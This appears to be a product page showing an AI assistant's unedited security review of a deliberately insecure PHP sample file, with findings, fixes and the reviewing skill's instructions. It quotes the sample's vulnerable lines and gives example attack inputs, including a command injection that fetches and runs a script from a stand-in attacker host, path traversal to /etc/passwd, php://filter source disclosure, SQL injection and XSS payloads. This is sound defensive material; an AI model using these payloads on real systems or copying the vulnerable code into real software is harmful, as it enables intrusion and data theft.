What the security skill produces
On 23 October 2026 an AI assistant was given one request, "Review this PHP project for security; production runs PHP 8.2.34", and the pack's reviewing-php-security skill. The project was a 34-line sample file with planted flaws. Below: the sample file, the scanner's first pass, and the report the assistant wrote by following the skill, unedited. Since that run the scanner gained one rule (database passwords written into the connect call), so it now prints 29 leads where the report mentions 28; the assistant had found that issue by reading the code.
Security review: vulnerable.php
Scope: one file, tests/fixtures/vulnerable.php (34 lines), treated as the whole project. Production PHP version as stated by you: 8.2.34. Reviewed 2026-10-23 by reading every line, with scripts/scan_php.py as a first pass (28 leads, each checked in context). The file's own comment says it is a deliberately insecure sample; it was reviewed as if it were production code, as asked. Not reviewed: php.ini and web-server configuration (output_buffering, display_errors, allow_url_fopen, whether uploads/ and files/ are web-served), MySQL privileges beyond what line 3 implies (the app connects as root), the database schema, whatever include($_GET['page'] . '.php') would pull in, and any HTML/JavaScript beyond the form tag on line 11. No other project files exist. Runtime: PHP 8.2.34 — below the fixed version (8.2.35) for CVE-2026-109618 / CVE-2026-109619 ("PHP2Shell", 21 Oct 2026), see "Update PHP". The 8.2 branch also leaves security support on 31 Dec 2026.
Reachability note (affects 11 of the findings below). On PHP 8.0 and later, parse_str() requires its second argument, so line 19 throws ArgumentCountError: parse_str() expects exactly 2 arguments, 1 given on every request (confirmed with php -r on a local 8.5 build; the change is in the PHP 8.0 migration guide). Lines 1–18 run, the script dies at line 19, and lines 20–34 never execute on your 8.2 runtime. Those findings are marked "unreachable until line 19 is fixed". They are one obvious bug-fix away from going live, so fix them before (or together with) line 19.
Summary
| # | Severity | Issue | Where |
|---|---|---|---|
| 1 | Critical | PHP 8.2.34 is below the fixed build for an unauthenticated RCE advisory | server runtime |
| 2 | Critical | Remote code execution: eval() on POST data | vulnerable.php:13 |
| 3 | Critical | OS command injection in the ping call | vulnerable.php:14 |
| 4 | Critical | Local file inclusion → code execution and source disclosure | vulnerable.php:16 |
| 5 | Critical | SQL injection in the user and order queries | vulnerable.php:5, :6 |
| 6 | Critical | Unrestricted file upload → web shell (unreachable until line 19 is fixed) | vulnerable.php:23–24 |
| 7 | High | Request data overwrites any variable; parse_str() crashes the script on PHP 8 | vulnerable.php:18–19 |
| 8 | High | Unsafe deserialization of a cookie | vulnerable.php:17 |
| 9 | High | Path traversal in file read (unreachable until line 19 is fixed) | vulnerable.php:25 |
| 10 | High | Login compares plain-text passwords (unreachable until line 19 is fixed) | vulnerable.php:32 |
| 11 | Medium | Reflected XSS in three outputs | vulnerable.php:8, :9, :11 |
| 12 | Medium | Hardcoded credentials and a root database account | vulnerable.php:3, :28, :29 |
| 13 | Medium | Open redirect (unreachable until line 19 is fixed) | vulnerable.php:22 |
| 14 | Medium | SSRF / arbitrary file read via user-supplied URL (unreachable until line 19 is fixed) | vulnerable.php:26 |
| 15 | Medium | Passwords hashed with MD5 (unreachable until line 19 is fixed) | vulnerable.php:20 |
| 16 | Medium | Predictable security token (unreachable until line 19 is fixed) | vulnerable.php:21 |
| 17 | Medium | Secret compared with == (unreachable until line 19 is fixed) | vulnerable.php:27 |
| 18 | Medium | State-changing action over GET, no CSRF token anywhere (unreachable until line 19 is fixed) | vulnerable.php:31, form :11 |
| 19 | Low | display_errors switched on in code (unreachable until line 19 is fixed) | vulnerable.php:30 |
| 20 | Low | Session fixation; session started after output (unreachable until line 19 is fixed) | vulnerable.php:33–34 |
Fix order: 1 first (a hosting-panel change, independent of the code). Then 2, 3, 4, 5, 7, 8, 11, 12 — these are live today. Then 6, 9, 10 and 13–20 *before* you make line 19 work, because fixing line 19 alone switches all of them on. Roughly half a day of code changes for this file; the only schema change is a password_hash VARCHAR(255) column for finding 10/15.
Findings
1. Critical: PHP 8.2.34 is below the fixed build for an unauthenticated RCE advisory
Where: production server (PHP 8.2.34, as stated) Input → sink: not code-level — any HTTP request to the PHP SAPI, before this file runs Why it matters: The skill's advisory list (references/php-versions.md, last updated 2026-10-23, i.e. today) records CVE-2026-109618 and CVE-2026-109619 ("PHP2Shell", disclosed 21 Oct 2026): two memory-handling flaws giving unauthenticated remote code execution with the web server's privileges before any application code runs, CVSS 9.2, affecting PHP-FPM, mod_php, php-cgi, LiteSpeed and FrankenPHP, with exploitation attempts reported within a day. Fixed in 8.5.12, 8.4.27, 8.3.36 and 8.2.35; 8.2.34 is one patch release short. The published workarounds are described as incomplete; only updating fixes it. Everything else in this report matters less until this is done. Evidence: version 8.2.34 as reported by you (not independently measured). Fix: see "Update PHP" at the end of this report. Because the advisory is two days old and I cannot verify it from here, confirm the fixed version numbers on https://www.php.net/downloads.php before and after the update.
2. Critical: remote code execution through eval()
Where: vulnerable.php:13 Input → sink: $_POST['code'] → passed unchanged → eval() Why it matters: Anyone who can POST to this page runs arbitrary PHP as the web-server user: read config files, dump the database, write a web shell. Nothing authenticates the request first (session_start() only happens on line 33, and the login check on line 34 is empty). Evidence:
eval($_POST['code']);
Fix: delete the line; there is no legitimate use of eval() on request data. If the page needs to run an action chosen by the client, map names to functions:
$actions = ['export' => 'export_orders', 'rebuild' => 'rebuild_index'];
$action = $_POST['action'] ?? '';
if (!isset($actions[$action])) {
http_response_code(400);
exit('Unknown action');
}
$actions[$action]();
3. Critical: OS command injection in the ping call
Where: vulnerable.php:14 Input → sink: $_GET['host'] → string concatenation → system() Why it matters: ?host=127.0.0.1;id or ?host=$(curl http://attacker/x.sh|sh) runs any command as the web-server user, output included in the response. Same impact as finding 2. Evidence:
system("ping " . $_GET['host']);
Fix: validate against the two shapes a host can take, then still quote the argument and cap the packet count so the process ends:
$host = $_GET['host'] ?? '';
if (!filter_var($host, FILTER_VALIDATE_IP)
&& !filter_var($host, FILTER_VALIDATE_DOMAIN, FILTER_FLAG_HOSTNAME)) {
http_response_code(400);
exit('Invalid host');
}
system('ping -c 4 ' . escapeshellarg($host));
The allow-list is the real control (a valid hostname cannot start with -, so no extra ping options can be smuggled in); escapeshellarg() is the second layer. Better still, do not expose ping to the web at all.
4. Critical: local file inclusion → code execution and source disclosure
Where: vulnerable.php:16 Input → sink: $_GET['page'] → . '.php' → include() Why it matters: ?page=../../some/other/script includes any .php file on disk, and combined with finding 6 (?page=uploads/shell after uploading shell.php) it is a reliable web shell. ?page=php://filter/convert.base64-encode/resource=config returns the source of config.php base64-encoded (the .php suffix is simply appended to the filter's resource), which is how database passwords leak. With allow_url_include = On it becomes remote file inclusion. PHP 8 rejects null bytes in include paths, so the .php suffix cannot be stripped — it does not need to be. Evidence:
include($_GET['page'] . '.php');
Fix: map allowed names to fixed files; never build the path from input:
$pages = [
'home' => 'pages/home.php',
'about' => 'pages/about.php',
'contact' => 'pages/contact.php',
];
$page = $_GET['page'] ?? 'home';
if (!isset($pages[$page])) {
http_response_code(404);
exit('Not found');
}
include __DIR__ . '/' . $pages[$page];
5. Critical: SQL injection in the user and order queries
Where: vulnerable.php:5 (via :4) and vulnerable.php:6 Input → sink: $_GET['id'] → $id (line 4) → interpolated, unquoted, into mysqli_query() (line 5); $_POST['ref'] → concatenated inside quotes → $db->query() (line 6) Why it matters: ?id=0 UNION SELECT ... reads any table (including users, whose passwords are plain text per finding 10); ref=' OR 1=1 -- does the same on line 6. Because the connection is root (finding 12) the injection also reaches LOAD_FILE() and SELECT ... INTO OUTFILE, i.e. reading server files and, where secure_file_priv allows, writing a PHP file under the web root — code execution. Line 5's value is unquoted, so mysqli_real_escape_string() would not help there; binding is the only fix. Side effect: on PHP 8.1+ mysqli throws on SQL errors by default, so a malformed id currently ends the script with an uncaught mysqli_sql_exception that displays the query text if display_errors is on (finding 19). Evidence:
$id = $_GET['id'];
$result = mysqli_query($db, "SELECT * FROM users WHERE id = $id");
$r2 = $db->query("SELECT * FROM orders WHERE ref = '" . $_POST['ref'] . "'");
Fix:
$id = (int) ($_GET['id'] ?? 0);
$stmt = $db->prepare('SELECT * FROM users WHERE id = ?');
$stmt->bind_param('i', $id);
$stmt->execute();
$result = $stmt->get_result();
$ref = $_POST['ref'] ?? '';
$stmt = $db->prepare('SELECT * FROM orders WHERE ref = ?');
$stmt->bind_param('s', $ref);
$stmt->execute();
$r2 = $stmt->get_result();
Wrap the database calls in a try { ... } catch (mysqli_sql_exception $e) { error_log($e->getMessage()); http_response_code(500); exit('Database error'); } so SQL errors are logged, not shown.
6. Critical: unrestricted file upload → web shell (unreachable until line 19 is fixed)
Where: vulnerable.php:23–24 Input → sink: $_FILES['f']['name'] (chosen by the client) → 'uploads/' . name → move_uploaded_file(); $_FILES['f']['type'] (also sent by the client) → the only "check", which runs after the file has been stored and has an empty body Why it matters: Upload shell.php with any declared MIME type and it lands in uploads/ next to this script, where the web server executes it: remote code execution. There is no extension allow-list, no real type check, no size limit and no $_FILES['f']['error'] check. PHP strips directory parts from the client file name, so ../ in the name does not traverse, but that is the only thing it strips. Evidence:
move_uploaded_file($_FILES['f']['tmp_name'], 'uploads/' . $_FILES['f']['name']);
if ($_FILES['f']['type'] == 'image/png') { }
Fix: check the error code and size, detect the real type with finfo, generate the stored name yourself, and keep the folder outside the web root:
$f = $_FILES['f'] ?? null;
if (!$f || $f['error'] !== UPLOAD_ERR_OK || $f['size'] > 2 * 1024 * 1024) {
http_response_code(400);
exit('Upload failed');
}
$allowed = ['image/png' => 'png', 'image/jpeg' => 'jpg'];
$mime = (new finfo(FILEINFO_MIME_TYPE))->file($f['tmp_name']);
if (!isset($allowed[$mime])) {
http_response_code(400);
exit('Only PNG or JPEG images are accepted');
}
$name = bin2hex(random_bytes(16)) . '.' . $allowed[$mime];
$dest = dirname(__DIR__) . '/storage/uploads/' . $name; // outside the web root
if (!move_uploaded_file($f['tmp_name'], $dest)) {
http_response_code(500);
exit('Could not store file');
}
Migration note: delete anything already in uploads/ that is not an image, and if the folder must stay web-accessible, disable PHP execution in it (Apache .htaccess: <FilesMatch "\.(php|phar|phtml|php[0-9])$"> Require all denied </FilesMatch>; nginx: a nested location ~ \.php$ { deny all; } inside location ^~ /uploads/).
7. High: request data overwrites any variable; parse_str() crashes the script on PHP 8
Where: vulnerable.php:18–19 Input → sink: every $_POST key → extract() → a variable of the same name in the page's scope; $_SERVER['QUERY_STRING'] → parse_str() with no result array Why it matters: extract($_POST) lets the client define $row, $user_token, $password, $db and anything else: posting row[password]=x&password=x makes the login comparison on line 32 pass, and user_token=abc with ?token=abc passes the token check on line 27 (both currently unreachable, see below, but that is exactly what this line is for once they are). Line 19 is worse in a different way: on PHP 8.0+ the second argument is mandatory, so it throws ArgumentCountError on every request. On your 8.2.34 runtime the script therefore dies here, which is why findings 6, 9, 10 and 13–20 are unreachable today — and why adding a $query argument without fixing them first would switch them all on. Evidence:
extract($_POST);
parse_str($_SERVER['QUERY_STRING']);
Fix: read the fields the page needs by name, and never create variables from input:
$password = $_POST['password'] ?? '';
$ref = $_POST['ref'] ?? '';
// ... one line per field the page actually uses
parse_str($_SERVER['QUERY_STRING'] ?? '', $query); // or simply use $_GET, which is the same data
8. High: unsafe deserialization of a cookie
Where: vulnerable.php:17 Input → sink: $_COOKIE['prefs'] → unserialize() Why it matters: The client chooses the object types and property values that get created. This file defines no classes, so there is no gadget chain to code execution in the project as it stands; the moment any library with a __wakeup/__destruct/__toString gadget is loaded (Monolog, Guzzle, PHPMailer and many others have known chains) it becomes remote code execution, and crafted payloads can already exhaust memory. $data is never used afterwards, so the line can simply go. Evidence:
$data = unserialize($_COOKIE['prefs']);
Fix:
$data = json_decode($_COOKIE['prefs'] ?? '', true, 8) ?: [];
// Only if the stored format cannot change yet:
// $data = unserialize($_COOKIE['prefs'] ?? '', ['allowed_classes' => false, 'max_depth' => 8]);
9. High: path traversal in file read (unreachable until line 19 is fixed)
Where: vulnerable.php:25 Input → sink: $_GET['file'] → 'files/' . ... → file_get_contents() Why it matters: ?file=../../../../etc/passwd or ?file=../config.php reads any file the web-server user can read. In this file $content is never output, so today an attacker gets a blind read (plus a memory-exhaustion crash by naming a huge file); the moment $content is echoed or offered as a download it is full file disclosure, which is why it is rated High rather than Medium. Evidence:
$content = file_get_contents('files/' . $_GET['file']);
Fix: strip the directory part and confirm the resolved path is still inside files/:
$base = realpath(__DIR__ . '/files');
$name = basename($_GET['file'] ?? '');
$path = $name === '' ? false : realpath($base . '/' . $name);
if ($path === false || strpos($path, $base . DIRECTORY_SEPARATOR) !== 0) {
http_response_code(404);
exit('Not found');
}
$content = file_get_contents($path);
If the set of files is known, an allow-list (['terms.txt', 'privacy.txt']) is simpler and stronger.
10. High: login compares plain-text passwords (unreachable until line 19 is fixed)
Where: vulnerable.php:32 Input → sink: $_POST['password'] → == → $row['password'] Why it matters: A direct comparison only works if the stored password is plain text (or the stored hash is bypassed), so a database leak — made easy by finding 5 — exposes every user's password, usually reused elsewhere. Loose == also type-juggles ("1e3" == "1000" is true on PHP 8). And because $row is never loaded in this file, $row['password'] is null, which == an empty string: an empty password passes the check. With extract() (finding 7) the client can also supply $row itself. Evidence:
if ($_POST['password'] == $row['password']) { }
Fix: load the user with a bound query and verify a password_hash() value:
$email = $_POST['email'] ?? '';
$stmt = $db->prepare('SELECT id, password_hash FROM users WHERE email = ?');
$stmt->bind_param('s', $email);
$stmt->execute();
$row = $stmt->get_result()->fetch_assoc();
if ($row && password_verify($_POST['password'] ?? '', $row['password_hash'])) {
session_regenerate_id(true);
$_SESSION['user_id'] = $row['id'];
if (password_needs_rehash($row['password_hash'], PASSWORD_DEFAULT)) {
// UPDATE users SET password_hash = ? WHERE id = ? (bound)
}
} else {
exit('Invalid email or password'); // same message for both cases
}
Migration note: add password_hash VARCHAR(255), fill it with password_hash($plain, PASSWORD_DEFAULT) (at next login if only plain text exists, or force a reset), then drop the plain-text column.
11. Medium: reflected XSS in three outputs
Where: vulnerable.php:8, vulnerable.php:9, vulnerable.php:11 Input → sink: $_GET['name'] → echo (line 8); $_REQUEST['msg'] (GET, POST or cookie) → echo (line 9); $_SERVER['PHP_SELF'] (the request path, including anything after the script name) → the form's action attribute (line 11) Why it matters: ?name=<script>...</script> runs attacker JavaScript in a visitor's browser: steal the session cookie (no HttpOnly is set), key-log the login form, fire the CSRF in finding 18. For line 11, requesting /vulnerable.php/"><script>alert(1)</script> lands the payload inside the attribute (Apache passes the extra path segment to PHP by default). Reflected XSS needs a victim to click a link, hence Medium. Evidence:
echo "Hello " . $_GET['name'];
echo $_REQUEST['msg'];
?>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post">
Fix:
function e($v) { return htmlspecialchars((string) $v, ENT_QUOTES, 'UTF-8'); }
echo "Hello " . e($_GET['name'] ?? '');
echo e($_POST['msg'] ?? ''); // read the one source you expect, not $_REQUEST
?>
<form action="/vulnerable.php" method="post">
A fixed action URL is simplest; if it must be dynamic use <?= e($_SERVER['SCRIPT_NAME']) ?>, which does not carry path info, and still escape it.
12. Medium: hardcoded credentials and a root database account
Where: vulnerable.php:3, vulnerable.php:28, vulnerable.php:29 Input → sink: none — static secrets in source Why it matters: root/root, DB_PASSWORD and a live-looking API key sit in the code: anyone with the repository, a backup, or source disclosure through findings 4 or 9 has them. Connecting as MySQL root also turns the SQL injection in finding 5 into file read/write on the database host and access to every database on the server. (The scanner flagged lines 28–29 but not line 3; line 3 is the more consequential one.) Evidence:
$db = mysqli_connect('localhost', 'root', 'root', 'shop');
define('DB_PASSWORD', 'S3cretPass');
$api_key = 'sk-live-1234567890';
Fix: load secrets from a file outside the web root (or environment variables) and connect with a least-privilege user:
$config = require dirname(__DIR__) . '/config/secrets.php'; // outside public_html, mode 0600, not in git
$db = mysqli_connect('localhost', $config['db_user'], $config['db_pass'], 'shop');
$api_key = $config['api_key'];
<?php // config/secrets.php
return [
'db_user' => 'shop_app', // GRANT SELECT, INSERT, UPDATE, DELETE ON shop.* TO 'shop_app'@'localhost';
'db_pass' => '<new password>',
'api_key' => '<new key>',
];
Migration note: rotate all three values now (they are in the file's history), create the shop_app user, and if DB_PASSWORD is used elsewhere, define() it from $config rather than a literal.
13. Medium: open redirect (unreachable until line 19 is fixed)
Where: vulnerable.php:22 Input → sink: $_GET['next'] → header('Location: ...') Why it matters: ?next=https://evil.example/login sends a user who trusts your domain to a phishing page, and lets attackers bounce through your domain to pass link filters. Header injection via \r\n is not possible here (PHP's header() rejects values containing a newline), so the impact is the redirect only. Note that this header() call comes after the output on lines 8–11; without output buffering it fails with "headers already sent", so move redirects above any output. Evidence:
header('Location: ' . $_GET['next']);
Fix: allow only a local path (one leading /, not // or /\), and stop after redirecting:
$next = $_GET['next'] ?? '/';
$isLocalPath = $next !== '' && $next[0] === '/' && !in_array($next[1] ?? '', ['/', '\\'], true);
header('Location: ' . ($isLocalPath ? $next : '/'), true, 303);
exit;
14. Medium: SSRF and arbitrary file read via a user-supplied URL (unreachable until line 19 is fixed)
Where: vulnerable.php:26 Input → sink: $_GET['url'] → file_get_contents() Why it matters: The server fetches whatever is named: http://127.0.0.1:8080/admin, cloud metadata at http://169.254.169.254/, or — since nothing forces a URL — local paths such as /etc/passwd and php://filter/.... $remote is never output in this file, so today it is blind (timing-based scans of internal ports, triggering internal GET requests); it becomes High the moment the response is returned to the client. Evidence:
$remote = file_get_contents($_GET['url']);
Fix: allow-list scheme and host, disable redirects, and time out:
$allowedHosts = ['api.example.com'];
$url = $_GET['url'] ?? '';
$p = parse_url($url);
if (!$p || ($p['scheme'] ?? '') !== 'https' || !in_array($p['host'] ?? '', $allowedHosts, true)) {
http_response_code(400);
exit('URL not allowed');
}
$ctx = stream_context_create(['http' => ['timeout' => 5, 'follow_location' => 0]]);
$remote = file_get_contents($url, false, $ctx);
If arbitrary hosts are genuinely required, resolve the host first and reject private and reserved ranges (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)), and use cURL with CURLOPT_PROTOCOLS limited to HTTPS.
15. Medium: passwords hashed with MD5 (unreachable until line 19 is fixed)
Where: vulnerable.php:20 Input → sink: $_POST['password'] → $password (only via extract() on line 18) → md5() Why it matters: Unsalted MD5 is reversed with rainbow tables or at billions of guesses per second on a GPU; a database leak gives up most passwords in hours. Evidence:
$hash = md5($password);
Fix:
$hash = password_hash($password, PASSWORD_DEFAULT); // bcrypt, salted; store in VARCHAR(255)
Verify with password_verify() and upgrade old hashes with password_needs_rehash() as shown in finding 10.
16. Medium: predictable security token (unreachable until line 19 is fixed)
Where: vulnerable.php:21 Input → sink: none — the token is generated server-side from guessable values Why it matters: time() is known to the second and rand() is Mt19937 with a 32-bit seed, so the token can be brute-forced offline or predicted from other rand() outputs. If it is a password-reset or CSRF token, that is account takeover. Evidence:
$token = md5(time() . rand());
Fix:
$token = bin2hex(random_bytes(32));
For reset tokens: store hash('sha256', $token) with an expiry, send the raw token once, and compare with hash_equals().
17. Medium: secret compared with == (unreachable until line 19 is fixed)
Where: vulnerable.php:27 Input → sink: $_GET['token'] → == → $user_token Why it matters: == leaks timing and type-juggles numeric strings ("1e3" == "1000" is true on PHP 8). $user_token is never assigned in this file, so it is null and ?token= (empty) passes the check; with extract() (finding 7) the client can set $user_token to anything. Evidence:
if ($user_token == $_GET['token']) { }
Fix:
$expected = $_SESSION['user_token'] ?? ''; // from the session or database, never from the request
$given = (string) ($_GET['token'] ?? '');
if ($expected === '' || !hash_equals($expected, $given)) {
http_response_code(403);
exit('Invalid token');
}
18. Medium: state-changing action over GET, no CSRF token anywhere (unreachable until line 19 is fixed)
Where: vulnerable.php:31 (and the form on :11) Input → sink: $_GET['delete'] → isset() → the delete branch Why it matters: <img src="https://your-site/vulnerable.php?delete=5"> on any page — or the XSS in finding 11 — performs the deletion in a logged-in victim's session. The POST form on line 11 carries no token either, so its handler is just as forgeable. Evidence:
if (isset($_GET['delete'])) { }
Fix: require POST plus a per-session token checked with hash_equals():
// after session_start(), when rendering:
$_SESSION['csrf'] ??= bin2hex(random_bytes(32));
?>
<form action="/vulnerable.php" method="post">
<input type="hidden" name="csrf" value="<?= e($_SESSION['csrf']) ?>">
<input type="hidden" name="delete" value="5">
<button>Delete</button>
</form>
<?php
// when handling:
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['delete'])) {
if (empty($_SESSION['csrf']) || !hash_equals($_SESSION['csrf'], (string) ($_POST['csrf'] ?? ''))) {
http_response_code(403);
exit('Bad CSRF token');
}
// perform the delete with a bound query
}
Set session.cookie_samesite = Lax as a second layer (finding 20's fix does this).
19. Low: display_errors switched on in code (unreachable until line 19 is fixed)
Where: vulnerable.php:30 Input → sink: none — configuration Why it matters: Errors reveal full file paths, SQL text and variable names to visitors. This line never runs on PHP 8, but if display_errors is on in php.ini the page already leaks the ArgumentCountError from line 19, the mysqli exception from a bad id on line 5, and "Undefined variable" warnings for $term and $dir (lines 7 and 15) on every request. Evidence:
ini_set('display_errors', 1);
Fix:
ini_set('display_errors', '0');
ini_set('log_errors', '1');
error_reporting(E_ALL);
Better: set display_errors = Off, log_errors = On in php.ini / the hosting panel so it also covers compile-time errors.
20. Low: session fixation; session started after output (unreachable until line 19 is fixed)
Where: vulnerable.php:33–34 Input → sink: $_POST['login'] → the login branch, which never calls session_regenerate_id() Why it matters: A session id planted before login (through a link when session.use_strict_mode is off, or a cookie set via the XSS in finding 11) stays valid after the victim authenticates, so the attacker shares the logged-in session. Separately, session_start() on line 33 runs after output began on line 8; without output buffering the session cookie cannot be sent at all. if ($_POST['login']) also reads an undefined key (warning) on every GET. Evidence:
session_start();
if ($_POST['login']) { }
Fix: start the session at the top of the file with strict mode and cookie flags, and regenerate the id on login:
<?php // first lines of the file, before any output
ini_set('session.use_strict_mode', '1');
session_set_cookie_params(['httponly' => true, 'secure' => true, 'samesite' => 'Lax']);
session_start();
// ...
if (isset($_POST['login'])) {
// after password_verify() succeeds (finding 10):
session_regenerate_id(true);
$_SESSION['user_id'] = $row['id'];
}
Checked and fine
- Line 7 (
$sql = "SELECT * FROM items WHERE name LIKE '%$term%'"):$termis never assigned before this line (extract()on line 18 runs later) and$sqlis never passed to a query anywhere in the file, so it is not injectable as written. It would be the moment either changes; when it is wired up, bind it:$stmt = $db->prepare('SELECT * FROM items WHERE name LIKE ?'); $like = '%' . $term . '%'; $stmt->bind_param('s', $like);. - Line 15 (`
$out =ls $dir;):$diris never assigned before this line, so the command is alwaysls(listing the script's directory into$out, which is never output); not injectable as written. Replace it with a fixed command andescapeshellarg()` before it ever takes input; the backtick operator is also deprecated from PHP 8.5, so it should go anyway. - Line 22: no CRLF / header injection through
$_GET['next']— PHP'sheader()refuses values that contain a newline. Only the open redirect (finding 13) applies. - Line 23:
$_FILES['f']['name']cannot traverse directories — PHP strips the path from the client-supplied file name — so the upload problem is the unchecked extension and location (finding 6), not traversal. - Line 16: PHP 8 rejects null bytes in include paths, so the
.phpsuffix cannot be truncated; this does not reduce finding 4, it only rules out one classic variant. - Line 3: the
mysqli_connect()call itself takes literal arguments; nothing from the request reaches it (the values are finding 12). - Syntax:
php -lreports no syntax errors (one deprecation notice for the backtick on line 15, PHP 8.5 only).
Hardening (lower priority)
- Disable PHP execution in any web-served upload folder even after finding 6 is fixed (Apache:
.htaccesswith<FilesMatch "\.(php|phar|phtml|php[0-9])$"> Require all denied </FilesMatch>; nginx: nestedlocation ~ \.php$ { deny all; }under/uploads/). Keepuploads/andfiles/outsidepublic_htmlwhere possible. - php.ini:
expose_php = Off,allow_url_include = Off(default — confirm),allow_url_fopen = Offif nothing needs remotefile_get_contents(),session.use_strict_mode = 1,session.cookie_httponly = 1,session.cookie_secure = 1,session.cookie_samesite = Lax,display_errors = Off,log_errors = On. - Send
Content-Security-Policy(at leastdefault-src 'self'),X-Content-Type-Options: nosniff,X-Frame-Options: DENY,Referrer-Policy: strict-origin-when-cross-origin. - Rate-limit login and token checks (for example 5 attempts per 15 minutes per account and per IP) and log failures.
- Catch
mysqli_sql_exceptioncentrally (PHP 8.1+ mysqli throws by default) so SQL text never reaches a visitor. - Read input from the one superglobal you expect (
$_GETor$_POST, never$_REQUEST, which also accepts cookies) with?? ''defaults, so missing keys do not produce warnings. - Create the MySQL user with only the privileges
shopneeds (finding 12) and noFILEprivilege.
Update PHP
PHP 8.2.34 is one release below 8.2.35, which the skill's advisory list (updated 2026-10-23) names as the fix for CVE-2026-109618 / CVE-2026-109619 ("PHP2Shell", disclosed 21 Oct 2026): unauthenticated remote code execution with the web server's privileges before any application code runs, on every web SAPI, with incomplete published workarounds. Update before touching the code.
- Target: 8.4.27 or newer (active support until 31 Dec 2028). 8.2 receives security fixes only until 31 Dec 2026 — two months away — so moving to 8.2.35 only buys time; 8.3.36+ is the fallback if 8.4 is not offered.
- Shared hosting: Hostinger hPanel → Websites → Manage → PHP Configuration; cPanel → MultiPHP Manager. Pick the newest branch the host offers, then confirm the exact build with
<?php echo PHP_VERSION, ' ', PHP_SAPI; ?>in a temporary file (delete it afterwards). Some hosts backport fixes under an older version number — ask for written confirmation rather than assuming. - VPS:
apt/dnfsecurity updates (read the package changelog for the backported fix) or the official Docker image tag. - Compatibility: this file has no 8.3/8.4-specific code; the only change you will see is the deprecation of the backtick operator on line 15 on 8.5, which should be removed anyway ("Checked and fine").
- Confirm the fixed version numbers at https://www.php.net/downloads.php and https://www.php.net/archive/ — the advisory is two days old and could not be verified independently from here.
Scanner output (scripts/scan_php.py, read-only)
The first pass the skill tells the assistant to run and then verify line by line. It only reads files; no network.
The sample file (tests/fixtures/vulnerable.php)
Written to contain one flaw per line, for testing. Never deploy it.
The skill file (SKILL.md)
What the assistant reads when you ask for a security review. Its reference checklists and the version table load as needed.
Reviewing PHP security
Find real, exploitable problems in PHP code and say exactly how to fix each one. Prefer a short report of confirmed issues over a long list of guesses.
Workflow
- Scope. Find out what is being reviewed: pasted code, uploaded files or a project folder. Ask which PHP version runs in production if it is not stated (the user can read it from
phpinfo()or theX-Powered-Byheader). - Scan (when files are available). Run the pattern scanner for a first pass. It can be run from any directory; write its output outside the skill folder: It only reads files and prints leads; it changes nothing and makes no network calls. Its severities are pattern-based: re-rate every lead with the rubric below after reading the code around it. A lead whose input is never assigned, or never reaches the sink, is not a finding (see "Checked and fine" below).
python3 <skill-folder>/scripts/scan_php.py <project-or-file> # readable python3 <skill-folder>/scripts/scan_php.py <project-or-file> --json > /tmp/findings.json - Read the code paths that matter, scanner or not: login and password reset, session handling, every form handler, file upload and download, admin pages, payment callbacks and webhooks, anything using
$_GET,$_POST,$_REQUEST(which includes cookies),$_COOKIE,$_FILESor$_SERVER. Trace user input to where it is used (query, HTML output, file path, shell command, redirect,include). - Check each category in references/checklist.md. Load it before writing the report.
- Check the runtime. Compare the production PHP version with references/php-versions.md. That table carries a "last updated" date and a source link for each advisory: when you can reach the web, confirm the fixed versions on php.net before stating them; when you cannot, say the numbers come from the skill's table and give its date. A runtime below a fixed version, or at end of life, is finding #1 of the report. Also note PHP 8 incompatibilities that stop the code running at all (a
parse_str()with one argument, a removed function): report them, and hand the migration itself to the PHP 8 upgrade skill if the user has it. - Write the report using references/report-template.md.
Rules for findings
- Report an issue only after reading the code that makes it exploitable. Name the input, the path it takes and
the sink (for example: $_GET['id'] → string-concatenated into mysqli_query() in admin/user.php:42). For configuration, runtime and secrets findings there is no input path: write "n/a".
- Code that cannot run today because of an unrelated fatal error (a PHP 8 incompatibility earlier in the file,
a missing include) still gets its findings, marked "unreachable until <X> is fixed": one bug fix would make them live. Say which fix would do it.
- Group same-class issues that share one fix into a single finding that lists every location; keep separate
findings when the fixes differ.
- Rate severity by what an attacker gains, not by the pattern:
- Critical: remote code execution (
eval, command injection, file inclusion, an upload that can be executed), SQL injection with full read or write access, authentication bypass, database or admin credentials in distributed code. - High: stored XSS, reading arbitrary files (path traversal), account takeover,
extract()orparse_str()overwriting variables,unserialize()of user data, SSRF that reaches internal services, plain-text password storage. - Medium: reflected XSS, CSRF on state-changing actions, weak password hashing, open redirect, header injection, blind SSRF, weak randomness in tokens, credentials in code that is not distributed.
- Low: information disclosure,
display_errorsin production, missing cookie flags and headers, other hardening. - Every finding gets a fix written for this codebase: the corrected lines, not generic advice. Prefer the
standard tool: prepared statements, htmlspecialchars($v, ENT_QUOTES, 'UTF-8'), password_hash() / password_verify(), hash_equals(), random_bytes(), an allow-list for redirects and file names. Low findings may use a one-line fix.
- "Checked and fine" is part of the report: say plainly when something is safe ("the query on line 88 binds its
parameter"), including scanner leads that are not exploitable as written (input never assigned, never reaches the sink, already escaped), each with a one-line reason and, where trivial, the hardening change anyway.
- Never invent line numbers or file names. If code was not provided, say what you could not check.
- You may run
php -lon the files and probe language behaviour in a scratch one-liner (for example whether
0 == "abc" is true on the stated version). Never execute the project itself, deploy it or modify it, and never send code or secrets anywhere.
Output
A Markdown report following the template: summary table first, then findings from most to least severe, then "Checked and fine", then hardening suggestions, then "Update PHP" when the runtime needs it. Keep it scannable; put long code in fenced blocks.
PHPGuru AI Skills are instruction files for AI assistants that support the open Agent Skills format (Claude and others). Not affiliated with or endorsed by Anthropic. The assistant can still make mistakes; read its findings before acting on them.